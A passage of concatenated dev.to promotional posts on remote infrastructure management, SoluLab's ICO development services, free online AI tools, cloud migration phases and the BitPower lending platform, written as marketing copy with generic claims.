full-fledged IT department. 5. Scalability and Flexibility RIM provides businesses with the flexibility to scale their IT infrastructure according to their needs. Whether a company is expanding its operations or scaling down, remote management services can quickly adjust to the changing requirements. This scalability ensures that IT resources are always aligned with business goals, facilitating seamless growth and adaptability. 6. Enhanced Security and Compliance In an era where cyber threats are increasingly sophisticated, robust security measures are paramount. RIM providers implement advanced security protocols and continuous monitoring to protect against cyberattacks, data breaches, and other security incidents. Additionally, they ensure that the IT infrastructure complies with industry standards and regulations, thereby reducing the risk of non-compliance penalties and enhancing overall data integrity. 7. Improved Disaster Recovery and Business Continuity Remote infrastructure management plays a crucial role in disaster recovery and business continuity planning. With remote backups, real-time data replication, and automated failover processes, businesses can quickly recover from unexpected disruptions. This resilience is essential for maintaining operational continuity and minimizing the impact of disasters on business operations. 8. Focus on Core Business Functions By outsourcing IT management to remote providers, businesses can focus on their core competencies and strategic objectives. This shift allows internal teams to concentrate on innovation, product development, and customer service rather than being bogged down by routine IT maintenance tasks. Ultimately, this focus on core business functions can lead to improved competitive advantage and market positioning. 9. Access to Latest Technologies RIM providers are often at the forefront of technological advancements, offering businesses access to the latest tools and technologies. This access ensures that companies are not left behind in the rapidly evolving tech landscape. Implementing cutting-edge technologies can enhance operational efficiency, drive innovation, and provide a better customer experience. 10. Global Reach and Support For businesses with a global presence, remote infrastructure management provides consistent support across different geographic locations. RIM services can be delivered seamlessly regardless of location, ensuring uniformity in IT operations and support. This global reach is particularly beneficial for multinational companies looking to standardize their IT practices across various regions. Conclusion [Remote Infrastructure Management ](https://teleglobals.com/remote-infrastructure-management/)is a vital component of modern business operations, offering a multitude of benefits ranging from cost savings and efficiency improvements to enhanced security and scalability. By adopting RIM, businesses can not only optimize their IT infrastructure but also focus on their strategic goals, driving growth and innovation. As technology continues to advance, the importance of RIM in ensuring robust, reliable, and efficient IT operations will only continue to grow.

teleglobal

Empower Your Blockchain Project with SoluLab's ICO Development Services

In the fast-evolving landscape of blockchain technology, Initial Coin Offerings (ICOs) have emerged...

https://dev.to/ram_kumar_c4ad6d3828441f2/empower-your-blockchain-project-with-solulabs-ico-development-services-1hp1

blockchain, beginners, webdev, javascript

In the fast-evolving landscape of blockchain technology, Initial Coin Offerings (ICOs) have emerged as a revolutionary way to raise capital for innovative projects. At SoluLab, we specialize in providing comprehensive ICO development services that empower businesses to harness the full potential of blockchain and drive their ventures to new heights. Why Choose SoluLab for ICO Development? Expertise and Experience SoluLab boasts a team of seasoned[ blockchain developers and industry ](https://www.solulab.com/ico-development-company/)experts who have a deep understanding of the ICO process. With years of experience and a proven track record, we ensure your ICO is executed flawlessly from start to finish. Customized Solutions Every blockchain project is unique, and so are our solutions. We tailor our ICO development services to meet the specific needs and goals of your project, ensuring a personalized approach that maximizes your chances of success. Comprehensive Services Our ICO development services cover every aspect of the process, including: Whitepaper Drafting: Crafting a compelling and detailed whitepaper that outlines your project's vision, technology, and potential. Token Development: Creating secure and scalable tokens on leading blockchain platforms like Ethereum, Binance Smart Chain, and more. Smart Contract Development: Implementing smart contracts to automate and secure the token sale process. Marketing and PR: Developing and executing marketing strategies to generate buzz and attract investors. ICO Website Development: Designing and developing a user-friendly and informative website to showcase your ICO. Investor Outreach: Connecting with potential investors and building a strong community around your project. Security and Compliance Security and regulatory compliance are paramount in the ICO landscape. At SoluLab, we adhere to the highest standards of security and ensure that your ICO complies with all relevant regulations, providing peace of mind to both you and your investors. Post-ICO Support Our commitment to your project's success doesn't end with the ICO. We offer post-ICO support services, including token listing, community management, and ongoing development, to help you navigate the next phases of your blockchain journey. The SoluLab Process Consultation and Planning We begin with a thorough consultation to understand your project's vision, goals, and requirements. Based on this, we develop a detailed plan and roadmap for your ICO. Development and Testing Our team of developers and blockchain experts gets to work on creating the various components of your [ICO, from token development](https://www.solulab.com/ico-development-company/) to smart contract implementation. Rigorous testing ensures that everything functions seamlessly and securely. Marketing and Launch A successful ICO requires effective marketing. We leverage a range of strategies, including social media campaigns, influencer partnerships, and PR outreach, to build anticipation and attract investors. On launch day, we manage the entire process to ensure a smooth and successful token sale. Post-Launch Support After your ICO, we continue to provide support, helping you with token distribution, exchange listings, and community management to maintain momentum and foster long-term success. Conclusion With SoluLab's ICO development services, you can transform your blockchain project from a visionary idea into a thriving reality. Our expertise, customized solutions, and comprehensive support ensure that your ICO stands out in the competitive blockchain space and attracts the investment it deserves. Contact us today to learn more about how we can help you achieve your blockchain ambitions with a successful ICO.

ram_kumar_c4ad6d3828441f2

11 Best Free Online AI Tools: For Everyone & Any Uses

Artificial Intelligence (AI) has become an integral part of modern technology and daily life,...

https://dev.to/growsolutions/11-best-free-online-ai-tools-for-everyone-any-uses-3jp1

ai, tools, apps

Artificial Intelligence (AI) has become an integral part of modern technology and daily life, revolutionizing the way we work, learn, and interact. AI tools offer a plethora of applications, from simplifying mundane tasks to providing complex data analysis. This post explores the best free online AI tools available today, suitable for everyone and any use. ## What Are AI Tools? AI tools are software applications that utilize artificial intelligence to perform tasks that typically require human intelligence. These tasks include language translation, image recognition, decision-making, and problem-solving. AI tools leverage machine learning algorithms and data processing capabilities to deliver accurate and efficient results. ## Benefits of Using AI Tools **Time Efficiency:** AI tools can process large amounts of data quickly, saving valuable time for users. **Accuracy:** These tools reduce human error, ensuring more precise outcomes. **Cost-Effectiveness:** Many AI tools are available for free, providing powerful functionalities without financial investment. **Accessibility:** Free AI tools make advanced technology accessible to a broader audience, democratizing innovation. ## Criteria for Selection When selecting the top free online AI tools, we considered several factors: **Free Access:** Tools must be available at no cost. **Usability:** The interface should be user-friendly and easy to navigate. **Versatility:** Tools should cater to various applications. **Popularity:** Widely used tools indicate reliability and effectiveness. ## Top 11 Free Online AI Tools ### 1: ChatGPT ChatGPT, developed by OpenAI, is a conversational AI model that can generate human-like text based on the input it receives. It’s widely used for creating content, answering questions, and even coding assistance. ### 2: Google AI [Google AI](https://ai.google/) offers a suite of tools and services, including natural language processing and machine learning models, that help in developing intelligent applications. ### 3: FotoAI Keyboard An [AI-powered keyboard](https://play.google.com/store/apps/details?id=com.foto.ai.keyboard&utm_source=grdev&utm_medium=site&utm_campaign=blog) app that enhances your typing experience with a range of features. For instance, AI chat, custom themes, attractive fonts, expressive emojis, Insta fonts, Text Art, fixing grammar errors, Kaomojis, Text bomb, and much more. Available for both Android and iOS devices. ### 4: Grammarly Grammarly is an AI-driven writing assistant that helps improve grammar, spelling, and style in writing. It’s an invaluable tool for students, professionals, and content creators. ### 5: IBM Watson IBM Watson provides AI-powered data analysis and machine learning tools. It’s used in various industries for insights and automation. ### 6: TensorFlow TensorFlow is an open-source machine-learning library developed by Google. It’s widely used for developing and training AI models. ### 7: Hugging Face Hugging Face offers a range of natural language processing tools and pre-trained models, making it easier to integrate AI into applications. ### 8: Microsoft Azure AI Microsoft Azure AI provides cloud-based AI services and APIs, enabling developers to build and deploy intelligent applications. ### 9: OpenAI Codex OpenAI Codex, the AI behind GitHub Copilot, helps developers by suggesting code snippets and completing code in real-time. ### 10: Pictory Pictory uses AI to transform text into engaging video content, making it ideal for marketers and content creators. ### 11: DALL-E 2 [DALL-E 2](https://openai.com/index/dall-e-2/), also developed by OpenAI, generates images from textual descriptions, offering creative possibilities for artists and designers. ## How to Get Started with AI Tools **Registration Process:** Most AI tools require a simple registration process, often involving an email and password setup. **Basic Setup:** Follow the onboarding instructions provided by the tool to complete the initial setup. **First Steps:** Start with basic functionalities before exploring advanced features. ## Use Cases for AI Tools **Content Creation:** Tools like ChatGPT and Canva aid in generating written and visual content. **Customer Service:** AI chatbots improve customer service by providing instant responses and support. **Data Analysis:** IBM Watson and TensorFlow assist in analyzing large datasets for business insights. **Personal Assistants:** Tools like Google AI can perform tasks like setting reminders and managing schedules. **Image Recognition:** DALL-E 2 and Hugging Face offer advanced image and text recognition capabilities. ## AI Tools for Beginners **Simple AI Tools:** FotoAI keyboard and Grammarly are perfect for beginners due to their intuitive interfaces. **User-Friendly Interfaces:** Look for tools with clean, easy-to-navigate interfaces. **Step-by-Step Guides:** Many tools offer tutorials and guides to help users get started. ## AI Tools for Professionals **Advanced Features:** IBM Watson and Microsoft Azure AI offer advanced analytical and machine learning capabilities. **Customization Options:** Professionals can tailor these tools to meet specific needs. **Integration with Other Tools:** Many AI tools can be integrated with existing software to enhance functionality. ## How AI Tools Enhance Productivity **Automation:** AI tools automate repetitive tasks, freeing up time for more critical work. **Streamlining Processes:** By improving efficiency, AI tools streamline workflows. **Enhancing Creativity:** Tools like Pictory and DALL-E 2 inspire creativity by offering unique ways to present ideas. ## AI Tools for Education **Learning Resources:** AI tools provide personalized learning experiences and resources. **Virtual Classrooms:** Tools like Google AI support virtual learning environments. **Personalized Learning:** AI adapts to individual learning styles, offering customized content. ## AI Tools for Business **Market Analysis:** AI tools analyze market trends and customer behavior. **Customer Insights:** Gain valuable insights into customer preferences and needs. **Decision-Making Support:** AI assists in making informed business decisions. ## AI Tools for Developers **APIs and SDKs:** Tools like TensorFlow and Hugging Face offer APIs and SDKs for integrating AI into applications. **Programming Assistance:** OpenAI Codex aids in coding by providing real-time suggestions. **Model Training:** Developers can train and deploy AI models using platforms like TensorFlow. ## The Future of AI Tools **Emerging Trends:** AI technology continues to evolve, introducing new capabilities. **Innovations:** Expect innovations that make AI tools more accessible and powerful. **Predictions:** The future of AI tools includes greater integration into daily life and business operations. ## Privacy and Security Concerns **Data Protection:** Ensure that AI tools comply with data protection regulations. **Ethical Considerations:** Consider the ethical implications of AI use. **Compliance with Regulations:** Stay updated with regulations governing AI and data usage. ## Limitations of Free AI Tools **Usage Caps:** Free versions often have usage limitations. **Limited Features:** Some advanced features may be available only in paid versions. **Data Constraints:** Free tools may have limitations on data storage and processing. ## Success Stories Using AI Tools **Case Studies:** Many businesses and individuals have achieved success using AI tools. **User Testimonials:** Positive feedback from users highlights the effectiveness of these tools. **Impact on Businesses and Individuals:** AI tools have significantly improved productivity and creativity. ## Comparing Free and Paid AI Tools **Features:** Paid tools often offer more advanced features. **Performance:** Paid versions may provide better performance and support. **Cost-Benefit Analysis:** Evaluate the cost versus benefits to determine the best option. ## Tips for Maximizing AI Tools **Best Practices:** Follow best practices for using AI tools effectively. **Common Pitfalls to Avoid:** Be aware of common mistakes and how to avoid them. **Leveraging Community Support:** Engage with the user community for tips and support. ## Wrapping up AI tools offer immense potential to enhance productivity, creativity, and efficiency. By exploring the best free online AI tools, users can leverage cutting-edge technology without financial investment. Whether for personal use, education, or business, these tools provide valuable assistance across various applications. ## FAQs **What are some free AI tools available online?** Top free AI tools include ChatGPT, FotoAI Keyboard, Google AI, Grammarly, IBM Watson, TensorFlow, Hugging Face, Microsoft Azure AI, OpenAI Codex, Pictory, and DALL-E 2. **How can I start using free AI tools?** Register on the tool’s website, complete the basic setup, and follow the provided tutorials or guides. **Are free AI tools reliable for professional use?** Many free AI tools offer robust features suitable for professional use, although some limitations may apply. **Can AI tools help in content creation?** Yes, tools like ChatGPT and Canva are excellent for generating written and visual content. **What are the limitations of free AI tools?** Free tools may have usage caps, limited features, and data constraints. **How do AI tools ensure data privacy?** Reputable AI tools comply with data protection regulations and implement security measures to protect user data.

ravilpatel

A Comprehensive Guide to Successful Cloud Migration

In the era of digital transformation, cloud migration has become a pivotal strategy for businesses...

https://dev.to/unicloud/a-comprehensive-guide-to-successful-cloud-migration-4hjb

In the era of digital transformation, cloud migration has become a pivotal strategy for businesses seeking to leverage the benefits of cloud computing. However, migrating to the cloud is a complex process that requires meticulous planning and execution. This guide will explore key strategies for successful [cloud migration](https://unicloud.co/assessments-and-migrations-services.html), covering the assessment, planning, execution, and optimization phases. ## Assessment Phase The first step in a successful cloud migration is a thorough assessment of your current IT infrastructure. This involves understanding the existing workloads, applications, and data that need to be migrated. **Key Considerations in the Assessment Phase:** **Inventory Analysis:** Catalog all applications, databases, and workloads currently in use. **Dependency Mapping:** Identify dependencies between applications to ensure a smooth transition. **Readiness Evaluation:** Assess the cloud readiness of your applications and infrastructure. By conducting a detailed assessment, you can create a solid foundation for your cloud migration strategy. ## Planning Phase The planning phase involves developing a comprehensive migration plan that outlines the approach, timeline, and resources required for the migration. **Essential Steps in the Planning Phase:** **Migration Strategy:** Choose the right migration strategy (rehost, refactor, rearchitect, rebuild, or replace) based on your business needs. **Timeline and Milestones:** Define a clear timeline with key milestones and deadlines. **Resource Allocation:** Allocate resources, including personnel, tools, and budget, for the migration process. A well-defined plan ensures that all aspects of the migration are accounted for, reducing the risk of disruptions. ## Execution Phase The execution phase involves the actual migration of applications, data, and workloads to the cloud. This phase requires careful coordination and monitoring to ensure a seamless transition. **Critical Activities in the Execution Phase:** **Data Migration:** Transfer data to the cloud using secure and efficient methods. **Application Migration:** Migrate applications and workloads while minimizing downtime. **Testing and Validation:** Perform thorough testing to ensure applications function correctly in the cloud environment. Effective execution requires close monitoring and the ability to address any issues that arise promptly. ## Optimization Phase Once the migration is complete, the optimization phase focuses on refining and optimizing the cloud environment to achieve maximum performance and cost-efficiency. **Key Optimization Strategies:** **Performance Tuning:** Optimize cloud resources for better performance and efficiency. **Cost Management:** Implement cost management practices to control and reduce cloud spending. **Security Enhancement:** Strengthen security measures to protect cloud assets. Continuous optimization ensures that your cloud environment remains efficient, secure, and cost-effective. ## Conclusion Successful cloud migration is a multi-phase process that requires careful planning, execution, and optimization. By following a structured approach, businesses can seamlessly transition to the cloud and unlock its full potential. For more information and personalized assistance with your cloud migration journey, contact Unicloud and let our experts guide you through each step of the process.

unicloud

BitPower Security Introduction

What is BitPower? BitPower is a decentralized lending platform based on blockchain technology,...

https://dev.to/aimm/bitpower-security-introduction-gek

What is BitPower? BitPower is a decentralized lending platform based on blockchain technology, providing secure and efficient lending services through smart contracts. Security Features Smart Contract Automatically execute transactions and eliminate human intervention. Open source code, transparent and auditable. Decentralization No intermediary is required, and users interact directly with the platform. Peer-to-peer transactions, funds circulate between user wallets. Asset Collateral Borrowers use crypto assets as collateral to reduce risks. Automatic liquidation mechanism protects the interests of both borrowers and lenders. Data Transparency Transaction records are public and can be viewed by anyone. Real-time monitoring of transactions and assets. Security Architecture Once deployed, smart contracts cannot be tampered with. Multi-signature technology ensures transaction security. Advantages High security: Smart contracts and blockchain technology ensure platform security. Transparency and trust: Open source code and public records increase transparency. Risk control: Collateral and liquidation mechanisms reduce risks. Conclusion BitPower provides a secure and transparent decentralized lending platform through smart contracts and blockchain technology. Join BitPower and experience secure and efficient lending services!

aimm